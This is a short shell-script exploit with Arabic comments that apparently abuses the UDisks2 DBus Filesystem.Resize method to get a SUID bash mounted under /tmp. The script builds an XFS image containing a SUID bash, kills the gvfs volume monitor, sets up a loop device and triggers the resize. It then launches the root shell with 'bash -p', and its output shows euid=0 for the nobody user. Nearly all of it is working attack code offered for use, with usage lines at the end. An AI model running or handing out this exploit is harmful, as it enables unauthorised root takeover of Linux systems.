dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount
chmod 04555 ./xfs.mount/bash  # تعيين بت SUID
umount ./xfs.mount 

# التحقق من قدرات النظام
gdbus call --system --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot

# إزالة التداخل
killall -KILL gvfs-udisks2-volume-monitor

# إعداد جهاز الحلقة
udisksctl loop-setup --file ./xfs.image --no-user-interaction

# مراقب الخلفية (يُتنفَّذ عند ظهور الثنائي SUID)
while true; do 
  /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break
done 2>/dev/null &

# تشغيل الثغرة عبر DBus
gdbus call --system --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

/tmp/blockdev*/bash -p  # إطلاق قشرة ممتازة
id
# uid=65534(nobody) gid=65534(nobody) euid=0(root)

$ sudo bash exploit.sh create 

$ bash exploit.sh exploit